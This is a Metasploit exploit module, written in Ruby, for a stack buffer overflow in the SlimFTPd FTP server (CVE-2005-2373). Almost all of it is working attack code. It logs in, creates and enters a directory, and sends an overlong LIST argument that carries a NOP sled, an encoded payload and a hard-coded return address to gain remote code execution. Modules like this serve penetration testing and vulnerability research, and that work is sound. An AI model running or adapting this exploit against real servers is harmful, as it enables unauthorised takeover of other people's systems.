##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SlimFTPd LIST Concatenation Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the SlimFTPd
          server. The flaw is triggered when a LIST command is
          received with an overly-long argument. This vulnerability
          affects all versions of SlimFTPd prior to 3.16 and was
          discovered by Raphael Rigo.
        },
        'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>' ],
        'License' => BSD_LICENSE,
        'References' => [
          [ 'CVE', '2005-2373'],
          [ 'OSVDB', '18172'],
          [ 'BID', '14339'],
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 490,
          'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
          'StackAdjustment' => -3500,
        },
        'Platform' => [ 'win' ],
        'Targets' => [
          [
            'SlimFTPd Server <= 3.16 Universal',
            {
              'Ret' => 0x0040057d,
            },
          ],
        ],
        'DisclosureDate' => '2005-07-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    buf = make_nops(511)
    buf[10, payload.encoded.length] = payload.encoded
    buf[507, 4] = [ target.ret ].pack('V')

    send_cmd(['XMKD', '41414141'], true);
    send_cmd(['CWD', '41414141'], true);
    send_cmd(['LIST', buf], false)

    handler
    disconnect
  end
end
